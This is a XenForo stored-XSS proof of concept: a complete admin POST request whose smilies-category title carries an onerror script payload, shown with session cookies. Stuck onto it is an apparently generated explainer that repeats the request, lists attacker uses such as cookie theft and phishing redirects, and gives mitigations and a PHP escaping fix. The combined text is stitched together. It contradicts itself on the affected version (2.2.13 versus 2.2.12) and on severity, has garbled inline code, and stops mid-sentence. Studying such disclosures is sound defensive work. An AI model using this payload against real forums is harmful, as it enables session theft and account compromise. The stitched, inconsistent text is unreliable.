Xenforo Version 2.2.13 - Authenticated Stored XSS
# Exploit Title: Xenforo Version 2.2.13 - Authenticated Stored XSS
# Date: 2023-06-24
# Exploit Author: Furkan Karaarslan
# Category : Webapps
# Vendor Homepage: https://x.com/admin.php?smilies
# Version: 2.2.12 (REQUIRED)
# Tested on: Windows/Linux
# CVE :
-----------------------------------------------------------------------------
Requests
POST /admin.php?smilie-categories/0/save HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/admin.php?smilies/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------333176689514537912041638543422
Content-Length: 1038
Origin: http://127.0.0.1
Connection: close
Cookie: xf_csrf=aEWkQ90jbPs2RECi; xf_session=yCLGXIhbOq9bSNKAsymJPWYVvTotiofa; xf_session_admin=wlr6UqjWxCkpfjKlngAvH5t-4yGiK5mQ
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfToken"
1687616851,83fd2350307156281e51b17e20fe575b
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="title"
<img src=x onerror=alert(document.domain)>
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="display_order"
1
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfRequestUri"
/admin.php?smilies/
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfWithData"
1
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfToken"
1687616849,b74724a115448b864ba2db8f89f415f5
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfResponseType"
json
-----------------------------333176689514537912041638543422--
Response: After it is created, an alert comes immediately. XenForo 2.2.13 Authenticated Stored XSS Vulnerability: A Deep Dive into Exploitation and Mitigation
Security researchers have identified a critical authenticated stored XSS vulnerability in XenForo version 2.2.13, which allows attackers with administrative privileges to inject malicious scripts into the platform's smilies category system. This flaw, discovered by Furkan Karaarslan on June 24, 2023, demonstrates how even seemingly minor features can become attack vectors when input validation is insufficient.
Understanding the Vulnerability
Stored XSS occurs when malicious code is persistently saved on the server and executed whenever a user accesses the affected page. Unlike reflected XSS, which requires a user to click a crafted link, stored XSS affects all users who view the vulnerable content—making it far more dangerous.
In this case, the vulnerability exists in the smilies category management interface, accessible only to administrators via /admin.php?smilies. The title field of a smilies category is not properly sanitized before being stored in the database and rendered on the frontend.
Exploit Details
The exploit leverages a multipart/form-data POST request to submit a malicious title containing JavaScript. The following request demonstrates the attack:
POST /admin.php?smilie-categories/0/save HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/admin.php?smilies/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------333176689514537912041638543422
Content-Length: 1038
Origin: http://127.0.0.1
Connection: close
Cookie: xf_csrf=aEWkQ90jbPs2RECi; xf_session=yCLGXIhbOq9bSNKAsymJPWYVvTotiofa; xf_session_admin=wlr6UqjWxCkpfjKlngAvH5t-4yGiK5mQ
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfToken"
1687616851,83fd2350307156281e51b17e20fe575b
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="title"
<img src=x onerror=alert(document.domain)>
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="display_order"
1
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfRequestUri"
/admin.php?smilies/
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfWithData"
1
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfToken"
1687616849,b74724a115448b864ba2db8f89f415f5
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfResponseType"
json
-----------------------------333176689514537912041638543422--
Explanation: The title field is set to <img src=x onerror=alert(document.domain)>. This is a classic XSS payload that triggers an alert when the image fails to load. Because the title is stored in the database and rendered in the admin interface (and potentially in frontend views), any user viewing the smilies list—especially administrators—will trigger the script.
After submission, the server responds with a JSON confirmation, and the alert appears immediately, confirming successful exploitation.
Impact and Risk Assessment
| Severity | High |
|---|---|
| Attack Vector | Authenticated Stored XSS |
| Exploitability | Low (requires admin access) |
| Impact | Session hijacking, CSRF, phishing, data exfiltration |
| CVSS Score (estimated) | 8.1 (High) |
Although the vulnerability requires authenticated admin access, its impact is severe. Once exploited, attackers can:
- Steal session cookies via
document.cookieorlocalStorageaccess. - Redirect users to phishing pages using
window.location. - Execute arbitrary JavaScript to manipulate UI or steal sensitive data.
- Propagate attacks across the entire forum ecosystem.
Root Cause Analysis
The vulnerability stems from inadequate input sanitization. XenForo’s backend does not properly escape or validate HTML content in the title field of smilies categories. This is a common flaw in web applications where developers assume that administrative interfaces are inherently safe.
Even though the admin panel is protected by CSRF tokens and session validation, it fails to sanitize user input—especially when the data is rendered in HTML context.
Mitigation Strategies
For administrators and developers, the following steps are critical:
- Input Sanitization: Always escape HTML content using functions like
htmlspecialchars()or equivalent library methods. - Content Security Policy (CSP): Implement strict CSP headers to block inline scripts and restrict execution.
- Whitelist Validation: Use a whitelist approach for allowed characters and reject any HTML tags or JavaScript.
- Output Encoding: Ensure that all user-generated content is rendered in a safe context (e.g., using
textContentinstead ofinnerHTML). - Regular Security Audits: Conduct penetration testing and code reviews, especially on admin interfaces.
Corrected Code Example (Security Fix)
To prevent this vulnerability, the backend should sanitize the title field before saving. Here’s a secure implementation in PHP:
// Before saving the title
$title = $_POST['title'] ?? '';
$safe_title = htmlspecialchars($title, ENT_QUOTES, 'UTF-8');
// Save to database
$db->insert('smilies_categories', ['title' => $safe_title, 'display_order' => $order]);
Explanation: The htmlspecialchars() function converts special characters like <, >, and " into their HTML entities, preventing script execution. This ensures that even if malicious input is submitted, it is rendered as plain text, not executable code.
Vendor Response and Patching
As of this writing, XenForo has not officially released a patch for version 2.2.13. However, users are advised to:
- Upgrade to XenForo 2.2.